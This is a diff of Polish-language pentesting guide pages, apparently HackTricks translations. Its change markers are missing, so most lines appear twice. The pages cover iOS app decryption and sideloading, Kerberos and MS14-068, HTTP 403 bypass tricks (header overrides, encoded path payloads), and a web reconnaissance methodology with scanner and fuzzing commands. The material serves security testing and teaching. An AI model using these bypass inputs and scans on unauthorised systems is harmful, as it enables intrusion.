bagbak --raw Chrome
```
#### **r2flutch**
**r2flutch**, wykorzystując zarówno radare, jak i frida, służy do deszyfrowania aplikacji i zrzucania ich. Więcej informacji można znaleźć na jego [**stronie GitHub**](https://github.com/as0ler/r2flutch).
**r2flutch**, wykorzystujący zarówno radare, jak i frida, służy do deszyfrowania aplikacji i zrzucania ich. Więcej informacji można znaleźć na jego [**stronie GitHub**](https://github.com/as0ler/r2flutch).
### **Instalacja aplikacji**
### **Instalowanie aplikacji**
**Sideloading** odnosi się do instalacji aplikacji poza oficjalnym App Store. Proces ten jest obsługiwany przez **installd daemon** i wymaga, aby aplikacje były podpisane certyfikatem wydanym przez Apple. Urządzenia z jailbreakiem mogą to obejść za pomocą **AppSync**, co umożliwia instalację fałszywie podpisanych pakietów IPA.
**Sideloading** odnosi się do instalowania aplikacji poza oficjalnym App Store. Proces ten jest obsługiwany przez **installd daemon** i wymaga, aby aplikacje były podpisane certyfikatem wydanym przez Apple. Urządzenia z jailbreakiem mogą to obejść za pomocą **AppSync**, co umożliwia instalację fałszywie podpisanych pakietów IPA.
#### **Narzędzia do Sideloadingu**
- **Cydia Impactor**: Narzędzie do podpisywania i instalowania plików IPA na iOS oraz plików APK na Androida. Przewodniki i rozwiązywanie problemów można znaleźć na [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/).
- **Cydia Impactor**: Narzędzie do podpisywania i instalowania plików IPA na iOS oraz plików APK na Androidzie. Przewodniki i rozwiązywanie problemów można znaleźć na [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/).
- **libimobiledevice**: Biblioteka dla systemów Linux i macOS do komunikacji z urządzeniami iOS. Komendy instalacyjne i przykłady użycia dla ideviceinstaller są dostarczane w celu instalacji aplikacji przez USB.
@ -160,11 +160,11 @@ bagbak --raw Chrome
Aby zainstalować aplikacje specyficzne dla iPada na urządzeniach iPhone lub iPod touch, wartość **UIDeviceFamily** w pliku **Info.plist** musi zostać zmieniona na **1**. Ta modyfikacja wymaga jednak ponownego podpisania pliku IPA z powodu kontroli walidacji podpisu.
**Uwaga**: Ta metoda może nie zadziałać, jeśli aplikacja wymaga funkcji zarezerwowanych dla nowszych modeli iPada, podczas gdy używa się starszego iPhone'a lub iPoda touch.
**Uwaga**: Ta metoda może nie zadziałać, jeśli aplikacja wymaga funkcji zarezerwowanych dla nowszych modeli iPadów podczas używania starszego iPhone'a lub iPod touch.
## References
- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/index.html)
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/)
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/)
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)

View File

@ -8,14 +8,14 @@
W środowiskach takich jak **Active Directory**, **Kerberos** odgrywa kluczową rolę w ustalaniu tożsamości użytkowników poprzez weryfikację ich tajnych haseł. Proces ten zapewnia, że tożsamość każdego użytkownika jest potwierdzana przed interakcją z zasobami sieciowymi. Jednak **Kerberos** nie rozszerza swojej funkcjonalności na ocenę lub egzekwowanie uprawnień, jakie użytkownik ma do konkretnych zasobów lub usług. Zamiast tego zapewnia bezpieczny sposób autoryzacji użytkowników, co jest kluczowym pierwszym krokiem w procesie bezpieczeństwa.
Po autoryzacji przez **Kerberos**, proces podejmowania decyzji dotyczących dostępu do zasobów jest delegowany do poszczególnych usług w sieci. Usługi te są następnie odpowiedzialne za ocenę praw i uprawnień uwierzytelnionego użytkownika, na podstawie informacji dostarczonych przez **Kerberos** o uprawnieniach użytkownika. Taki projekt pozwala na rozdzielenie zadań między autoryzację tożsamości użytkowników a zarządzanie ich prawami dostępu, co umożliwia bardziej elastyczne i bezpieczne podejście do zarządzania zasobami w rozproszonych sieciach.
Po autoryzacji przez **Kerberos**, proces podejmowania decyzji dotyczących dostępu do zasobów jest delegowany do poszczególnych usług w sieci. Usługi te są następnie odpowiedzialne za ocenę praw i uprawnień uwierzytelnionego użytkownika, na podstawie informacji dostarczonych przez **Kerberos** o przywilejach użytkownika. Taki projekt pozwala na rozdzielenie zadań między autoryzację tożsamości użytkowników a zarządzanie ich prawami dostępu, co umożliwia bardziej elastyczne i bezpieczne podejście do zarządzania zasobami w rozproszonych sieciach.
**Domyślny port:** 88/tcp/udp
```
PORT STATE SERVICE
88/tcp open kerberos-sec
```
### **Aby nauczyć się, jak nadużywać Kerberos, powinieneś przeczytać post o** [**Active Directory**](../../windows-hardening/active-directory-methodology/)**.**
### **Aby nauczyć się, jak nadużywać Kerberos, powinieneś przeczytać post o** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.**
## Więcej
@ -25,7 +25,7 @@ PORT STATE SERVICE
### MS14-068
Wada MS14-068 pozwala atakującemu na manipulację tokenem logowania Kerberos legalnego użytkownika, aby fałszywie rościć sobie wyższe uprawnienia, takie jak bycie administratorem domeny. To fałszywe roszczenie jest błędnie weryfikowane przez kontroler domeny, co umożliwia nieautoryzowany dostęp do zasobów sieciowych w całym lesie Active Directory.
Wada MS14-068 pozwala atakującemu na manipulację tokenem logowania Kerberos legalnego użytkownika, aby fałszywie twierdzić o podwyższonych uprawnieniach, takich jak bycie administratorem domeny. To fałszywe roszczenie jest błędnie weryfikowane przez kontroler domeny, co umożliwia nieautoryzowany dostęp do zasobów sieciowych w całym lesie Active Directory.
{{#ref}}
https://adsecurity.org/?p=541

View File

@ -8,11 +8,11 @@ Spróbuj użyć **różnych metod** do uzyskania dostępu do pliku: `GET, HEAD,
- Sprawdź nagłówki odpowiedzi, może pojawią się jakieś informacje. Na przykład, **odpowiedź 200** na **HEAD** z `Content-Length: 55` oznacza, że **metoda HEAD może uzyskać dostęp do informacji**. Ale nadal musisz znaleźć sposób na wyeksportowanie tych informacji.
- Użycie nagłówka HTTP, takiego jak `X-HTTP-Method-Override: PUT`, może nadpisać używaną metodę.
- Użyj **metody `TRACE`** i jeśli masz dużo szczęścia, może w odpowiedzi zobaczysz również **nagłówki dodane przez pośrednie serwery proxy**, które mogą być przydatne.
- Użyj **metody `TRACE`** i jeśli będziesz miał dużo szczęścia, może w odpowiedzi zobaczysz również **nagłówki dodane przez pośrednie serwery proxy**, które mogą być przydatne.
## Fuzzing nagłówków HTTP
- **Zmień nagłówek Host** na dowolną wartość ([to zadziałało tutaj](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
- **Zmień nagłówek Host** na jakąś dowolną wartość ([to zadziałało tutaj](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
- Spróbuj [**użyć innych User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) do uzyskania dostępu do zasobu.
- **Fuzzing nagłówków HTTP**: Spróbuj użyć nagłówków HTTP Proxy, podstawowej autoryzacji HTTP i NTLM brute-force (tylko z kilkoma kombinacjami) oraz innych technik. W tym celu stworzyłem narzędzie [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
@ -35,17 +35,17 @@ Jeśli **ścieżka jest chroniona**, możesz spróbować obejść ochronę ście
- `X-Original-URL: /admin/console`
- `X-Rewrite-URL: /admin/console`
- Jeśli strona jest **za proxy**, może to proxy uniemożliwiać dostęp do prywatnych informacji. Spróbuj wykorzystać [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **lub** [**nagłówki hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
- Jeśli strona jest **za proxy**, może to proxy uniemożliwiać dostęp do prywatnych informacji. Spróbuj wykorzystać [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **lub** [**nagłówki hop-by-hop**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
- Fuzz [**specjalne nagłówki HTTP**](special-http-headers.md), szukając różnych odpowiedzi.
- **Fuzzing specjalnych nagłówków HTTP** podczas fuzzing **metod HTTP**.
- **Usuń nagłówek Host** i być może będziesz w stanie obejść ochronę.
- **Fuzzing specjalnych nagłówków HTTP** podczas fuzzingu **metod HTTP**.
- **Usuń nagłówek Host** i może uda ci się obejść ochronę.
## **Fuzzing ścieżek**
## Fuzzing **ścieżki**
Jeśli _/path_ jest zablokowane:
- Spróbuj użyć _**/**_**%2e/path \_(jeśli dostęp jest zablokowany przez proxy, to może obejść ochronę). Spróbuj także**\_\*\* /%252e\*\*/path (podwójne kodowanie URL)
- Spróbuj **obejścia Unicode**: _/**%ef%bc%8f**path_ (zakodowane znaki URL są jak "/"), więc po ponownym zakodowaniu będzie to _//path_ i być może już obejdziesz sprawdzanie nazwy _/path_
- Spróbuj **obejścia Unicode**: _/**%ef%bc%8f**path_ (zakodowane znaki URL są jak "/"), więc po ponownym zakodowaniu będzie to _//path_ i może już udało ci się obejść sprawdzanie nazwy _/path_
- **Inne obejścia ścieżek**:
- site.com/secret > HTTP 403 Forbidden
- site.com/SECRET > HTTP 200 OK

View File

@ -25,28 +25,28 @@ web-api-pentesting.md
## Methodology summary
> W tej metodologii zakładamy, że będziesz atakować domenę (lub subdomenę) i tylko to. Dlatego powinieneś zastosować tę metodologię do każdej odkrytej domeny, subdomeny lub adresu IP z nieokreślonym serwerem webowym w zakresie.
> W tej metodologii zakładamy, że zamierzasz zaatakować domenę (lub subdomenę) i tylko to. Dlatego powinieneś zastosować tę metodologię do każdej odkrytej domeny, subdomeny lub adresu IP z nieokreślonym serwerem webowym w zakresie.
- [ ] Zacznij od **identyfikacji** **technologii** używanych przez serwer webowy. Szukaj **sztuczek**, które warto mieć na uwadze podczas reszty testu, jeśli uda ci się pomyślnie zidentyfikować technologię.
- [ ] Czy istnieje jakakolwiek **znana podatność** wersji technologii?
- [ ] Czy istnieje jakakolwiek **znana luka** w wersji technologii?
- [ ] Używasz jakiejś **znanej technologii**? Jakieś **przydatne sztuczki** do wydobycia większej ilości informacji?
- [ ] Czy jest jakiś **specjalistyczny skaner** do uruchomienia (jak wpscan)?
- [ ] Uruchom **skanery ogólnego przeznaczenia**. Nigdy nie wiesz, czy znajdą coś interesującego.
- [ ] Zacznij od **wstępnych kontroli**: **robots**, **sitemap**, **błąd 404** i **skanowanie SSL/TLS** (jeśli HTTPS).
- [ ] Zacznij **spiderować** stronę internetową: Czas na **znalezienie** wszystkich możliwych **plików, folderów** i **parametrów używanych.** Sprawdź również **specjalne znaleziska**.
- [ ] _Zauważ, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spiderowania, powinien być spiderowany._
- [ ] _Zauważ, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spiderowania, powinien być on spiderowany._
- [ ] **Brute-Forcing katalogów**: Spróbuj przeprowadzić brute force na wszystkich odkrytych folderach w poszukiwaniu nowych **plików** i **katalogów**.
- [ ] _Zauważ, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spiderowania, powinien być Brute-Forced._
- [ ] _Zauważ, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spiderowania, powinien być on Brute-Forced._
- [ ] **Sprawdzanie kopii zapasowych**: Sprawdź, czy możesz znaleźć **kopie zapasowe** **odkrytych plików**, dodając powszechne rozszerzenia kopii zapasowych.
- [ ] **Brute-Force parametrów**: Spróbuj **znaleźć ukryte parametry**.
- [ ] Gdy już **zidentyfikujesz** wszystkie możliwe **punkty końcowe** akceptujące **wejście użytkownika**, sprawdź wszelkiego rodzaju **podatności** związane z tym.
- [ ] Gdy już **zidentyfikujesz** wszystkie możliwe **punkty końcowe** akceptujące **dane wejściowe użytkownika**, sprawdź wszelkiego rodzaju **luki** związane z tym.
- [ ] [Postępuj zgodnie z tą listą kontrolną](../../pentesting-web/web-vulnerabilities-methodology.md)
## Server Version (Vulnerable?)
### Identify
Sprawdź, czy istnieją **znane podatności** dla wersji serwera **uruchomionej**.\
Sprawdź, czy istnieją **znane luki** w wersji serwera **działającego**.\
**Nagłówki HTTP i ciasteczka odpowiedzi** mogą być bardzo przydatne do **identyfikacji** **technologii** i/lub **wersji** używanej. **Skanowanie Nmap** może zidentyfikować wersję serwera, ale mogą być również przydatne narzędzia [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)lub [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 <URL> #Stealthy
@ -54,7 +54,7 @@ whatweb -a 3 <URL> #Aggresive
webtech -u <URL>
webanalyze -host https://google.com -crawl 2
```
Szukaj **w** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
### **Sprawdź, czy istnieje jakiś WAF**
@ -69,9 +69,9 @@ Kilka **sztuczek** do **znajdowania luk** w różnych znanych **technologiach**:
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md)
- [**Artifactory**](artifactory-hacking-guide.md)
- [**Buckets**](buckets/)
- [**Buckets**](buckets/index.html)
- [**CGI**](cgi.md)
- [**Drupal**](drupal/)
- [**Drupal**](drupal/index.html)
- [**Flask**](flask.md)
- [**Git**](git.md)
- [**Golang**](golang.md)
@ -86,19 +86,19 @@ Kilka **sztuczek** do **znajdowania luk** w różnych znanych **technologiach**:
- [**Laravel**](laravel.md)
- [**Moodle**](moodle.md)
- [**Nginx**](nginx.md)
- [**PHP (php ma wiele interesujących sztuczek, które mogą być wykorzystane)**](php-tricks-esp/)
- [**PHP (php ma wiele interesujących sztuczek, które mogą być wykorzystane)**](php-tricks-esp/index.html)
- [**Python**](python.md)
- [**Spring Actuators**](spring-actuators.md)
- [**Symphony**](symphony.md)
- [**Tomcat**](tomcat/)
- [**Tomcat**](tomcat/index.html)
- [**VMWare**](vmware-esx-vcenter....md)
- [**Web API Pentesting**](web-api-pentesting.md)
- [**WebDav**](put-method-webdav.md)
- [**Werkzeug**](werkzeug.md)
- [**Wordpress**](wordpress.md)
- [**Electron Desktop (XSS do RCE)**](electron-desktop-apps/)
- [**Electron Desktop (XSS do RCE)**](electron-desktop-apps/index.html)
_Weź pod uwagę, że **ta sama domena** może używać **różnych technologii** na różnych **portach**, **folderach** i **subdomenach**._\
_Pamiętaj, że **ta sama domena** może używać **różnych technologii** na różnych **portach**, **folderach** i **subdomenach**._\
Jeśli aplikacja webowa korzysta z jakiejkolwiek znanej **technologii/platformy wymienionej wcześniej** lub **jakiejkolwiek innej**, nie zapomnij **poszukać w Internecie** nowych sztuczek (i daj mi znać!).
### Przegląd kodu źródłowego
@ -134,18 +134,18 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
Jeśli używany jest CMS, nie zapomnij **uruchomić skanera**, może znajdziesz coś interesującego:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** strony internetowe pod kątem problemów z bezpieczeństwem. (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/) **lub** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** strony internetowe pod kątem problemów z bezpieczeństwem. (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **lub** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
```bash
cmsmap [-f W] -F -d <URL>
wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> W tym momencie powinieneś już mieć pewne informacje o serwerze WWW używanym przez klienta (jeśli jakiekolwiek dane są podane) oraz kilka sztuczek, które warto mieć na uwadze podczas testu. Jeśli masz szczęście, być może znalazłeś nawet CMS i uruchomiłeś jakiś skaner.
> W tym momencie powinieneś już mieć pewne informacje o serwerze WWW używanym przez klienta (jeśli podano jakieś dane) oraz kilka sztuczek, które warto mieć na uwadze podczas testu. Jeśli masz szczęście, być może znalazłeś nawet CMS i uruchomiłeś jakiś skaner.
## Krok po kroku Odkrywanie Aplikacji Webowej
@ -160,7 +160,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
- /crossdomain.xml
- /clientaccesspolicy.xml
- /.well-known/
- Sprawdź również komentarze na głównych i pobocznych stronach.
- Sprawdź również komentarze na stronach głównych i podrzędnych.
**Wymuszanie błędów**
@ -168,7 +168,7 @@ Serwery WWW mogą **zachowywać się nieprzewidywalnie**, gdy wysyłane są do n
- Uzyskaj dostęp do **fałszywych stron** jak /whatever_fake.php (.aspx,.html,.itd)
- **Dodaj "\[]", "]]" i "\[\["** w **wartościach cookie** i **wartościach parametrów**, aby stworzyć błędy
- Generuj błąd, podając dane jako **`/~randomthing/%s`** na **końcu** **URL**
- Generuj błąd, podając dane wejściowe jako **`/~randomthing/%s`** na **końcu** **URL**
- Spróbuj **różnych metod HTTP** jak PATCH, DEBUG lub błędnych jak FAKE
#### **Sprawdź, czy możesz przesyłać pliki (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
@ -176,14 +176,14 @@ Serwery WWW mogą **zachowywać się nieprzewidywalnie**, gdy wysyłane są do n
Jeśli odkryjesz, że **WebDav** jest **włączony**, ale nie masz wystarczających uprawnień do **przesyłania plików** w folderze głównym, spróbuj:
- **Brute Force** poświadczeń
- **Przesyłać pliki** za pomocą WebDav do **pozostałych** **znalezionych folderów** w obrębie strony internetowej. Możesz mieć uprawnienia do przesyłania plików w innych folderach.
- **Przesyłać pliki** za pomocą WebDav do **pozostałych** **znalezionych folderów** na stronie internetowej. Możesz mieć uprawnienia do przesyłania plików w innych folderach.
### **Luki w SSL/TLS**
- Jeśli aplikacja **nie wymusza użycia HTTPS** w żadnej części, to jest **vulnerable to MitM**
- Jeśli aplikacja **wysyła wrażliwe dane (hasła) używając HTTP**. To jest poważna luka.
Użyj [**testssl.sh**](https://github.com/drwetter/testssl.sh), aby sprawdzić **luki** (w programach Bug Bounty prawdopodobnie tego rodzaju luki nie będą akceptowane) i użyj [**a2sv**](https://github.com/hahwul/a2sv), aby ponownie sprawdzić luki:
Użyj [**testssl.sh**](https://github.com/drwetter/testssl.sh) do sprawdzenia **luk** (w programach Bug Bounty prawdopodobnie tego rodzaju luki nie będą akceptowane) i użyj [**a2sv**](https://github.com/hahwul/a2sv) do ponownego sprawdzenia luk:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -199,10 +199,10 @@ Informacje o lukach SSL/TLS:
### Spidering
Uruchom jakiś rodzaj **spidera** w sieci. Celem spidera jest **znalezienie jak największej liczby ścieżek** z testowanej aplikacji. Dlatego należy wykorzystać przeszukiwanie sieci i źródła zewnętrzne, aby znaleźć jak najwięcej ważnych ścieżek.
Uruchom jakiś rodzaj **spidera** w sieci. Celem spidera jest **znalezienie jak największej liczby ścieżek** z testowanej aplikacji. Dlatego należy wykorzystać przeszukiwanie sieci i zewnętrzne źródła, aby znaleźć jak najwięcej ważnych ścieżek.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder w plikach JS i źródłach zewnętrznych (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, z LinkFinder dla plików JS i Archive.org jako źródło zewnętrzne.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder w plikach JS i zewnętrzne źródła (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, z LinkFinder dla plików JS i Archive.org jako zewnętrzne źródło.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, wskazuje również "soczyste pliki".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktywny CLI HTML spider. Również przeszukuje Archive.org.
- [**meg**](https://github.com/tomnomnom/meg) (go): To narzędzie nie jest spiderem, ale może być przydatne. Możesz po prostu wskazać plik z hostami i plik ze ścieżkami, a meg pobierze każdą ścieżkę na każdym hoście i zapisze odpowiedź.
@ -212,31 +212,31 @@ Uruchom jakiś rodzaj **spidera** w sieci. Celem spidera jest **znalezienie jak
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider z możliwościami renderowania JS.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, z możliwościami beautify JS, zdolny do wyszukiwania nowych ścieżek w plikach JS. Warto również rzucić okiem na [JSScanner](https://github.com/dark-warlord14/JSScanner), który jest wrapperem LinkFinder.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Do wyodrębniania punktów końcowych zarówno w źródle HTML, jak i w osadzonych plikach javascript. Przydatne dla łowców błędów, zespołów red, ninja infosec.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Skrypt w pythonie 2.7 używający Tornado i JSBeautifier do parsowania względnych adresów URL z plików JavaScript. Przydatne do łatwego odkrywania żądań AJAX. Wygląda na to, że nie jest utrzymywany.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Skrypt w Pythonie 2.7 używający Tornado i JSBeautifier do parsowania względnych adresów URL z plików JavaScript. Przydatne do łatwego odkrywania żądań AJAX. Wygląda na to, że nie jest utrzymywany.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dany plik (HTML) wyodrębni z niego adresy URL, używając sprytnych wyrażeń regularnych do znajdowania i wyodrębniania względnych adresów URL z brzydkich (minifikowanych) plików.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, kilka narzędzi): Zbieraj interesujące informacje z plików JS, używając kilku narzędzi.
- [**subjs**](https://github.com/lc/subjs) (go): Znajdź pliki JS.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Załaduj stronę w bezgłowym przeglądarku i wydrukuj wszystkie załadowane adresy URL.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Narzędzie do odkrywania treści, łączące kilka opcji poprzednich narzędzi.
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Rozszerzenie Burp do znajdowania ścieżek i parametrów w plikach JS.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Narzędzie, które, podając URL .js.map, zwróci ci zbeatyfikowany kod JS.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Narzędzie, które, podając URL .js.map, uzyska zbeatyfikowany kod JS.
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): To narzędzie służy do odkrywania punktów końcowych dla danego celu.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Odkryj linki z maszyny wayback (pobierając również odpowiedzi w wayback i szukając więcej linków).
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Przeszukuj (nawet wypełniając formularze) i znajdź wrażliwe informacje, używając specyficznych wyrażeń regex.
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Przeszukuj (nawet wypełniając formularze) i znajdź wrażliwe informacje, używając specyficznych wyrażeń regularnych.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite to zaawansowany wielofunkcyjny GUI web security Crawler/Spider zaprojektowany dla profesjonalistów w dziedzinie cyberbezpieczeństwa.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): To pakiet Go i [narzędzie wiersza poleceń](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) do wyodrębniania adresów URL, ścieżek, sekretów i innych interesujących danych z kodu źródłowego JavaScript.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge to proste **rozszerzenie Burp Suite** do **wyodrębniania parametrów i punktów końcowych** z żądania w celu stworzenia niestandardowej listy słów do fuzzingu i enumeracji.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Świetne narzędzie do tego.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Wydrukuj każdy link, który uda mu się znaleźć.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Wydrukuj każdy link, który uda się znaleźć.
### Brute Force katalogów i plików
### Brute Force directories and files
Rozpocznij **brute-forcing** od folderu głównego i upewnij się, że brute-forcesz **wszystkie** **znalezione katalogi** przy użyciu **tej metody** oraz wszystkich katalogów **odkrytych** przez **Spidering** (możesz to robić **rekursywnie** i dodając na początku używanej listy słów nazwy znalezionych katalogów).\
Rozpocznij **brute-forcing** od folderu głównego i upewnij się, że brute-forcesz **wszystkie** **znalezione** **katalogi** przy użyciu **tej metody** oraz wszystkich katalogów **odkrytych** przez **Spidering** (możesz to robić brute-forcing **rekursywnie** i dodając na początku używanej listy słów nazwy znalezionych katalogów).\
Narzędzia:
- **Dirb** / **Dirbuster** - Wbudowane w Kali, **stare** (i **wolne**), ale funkcjonalne. Umożliwia auto-podpisane certyfikaty i przeszukiwanie rekursywne. Zbyt wolne w porównaniu do innych opcji.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Nie pozwala na auto-podpisane certyfikaty, ale** umożliwia przeszukiwanie rekursywne.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Umożliwia auto-podpisane certyfikaty, **nie ma** **przeszukiwania** **rekursywnego**.
- **Dirb** / **Dirbuster** - Wbudowane w Kali, **stare** (i **wolne**) ale funkcjonalne. Pozwala na auto-podpisane certyfikaty i przeszukiwanie rekursywne. Zbyt wolne w porównaniu do innych opcji.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Nie pozwala na auto-podpisane certyfikaty, ale** pozwala na przeszukiwanie rekursywne.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): Pozwala na auto-podpisane certyfikaty, **nie ma** **przeszukiwania** **rekursywnego**.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Szybki, wspiera przeszukiwanie rekursywne.**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- Szybki: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
@ -264,7 +264,7 @@ Narzędzia:
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_Uwaga, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spideringu, powinien być Brute-Forced._
_Note, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-forcingu lub spideringu, powinien być on Brute-Forced._
### Co sprawdzić w każdym znalezionym pliku
@ -276,10 +276,10 @@ _Uwaga, że za każdym razem, gdy nowy katalog zostanie odkryty podczas brute-fo
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Komentarze:** Sprawdź komentarze wszystkich plików, możesz znaleźć **dane uwierzytelniające** lub **ukrytą funkcjonalność**.
- Jeśli grasz w **CTF**, "powszechnym" trikiem jest **ukrycie** **informacji** w komentarzach po **prawej** stronie **strony** (używając **setek** **spacji**, aby nie widzieć danych, jeśli otworzysz kod źródłowy w przeglądarce). Inną możliwością jest użycie **kilku nowych linii** i **ukrycie informacji** w komentarzu na **dole** strony internetowej.
- **Klucze API**: Jeśli **znajdziesz jakikolwiek klucz API**, istnieje przewodnik, który wskazuje, jak używać kluczy API różnych platform: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
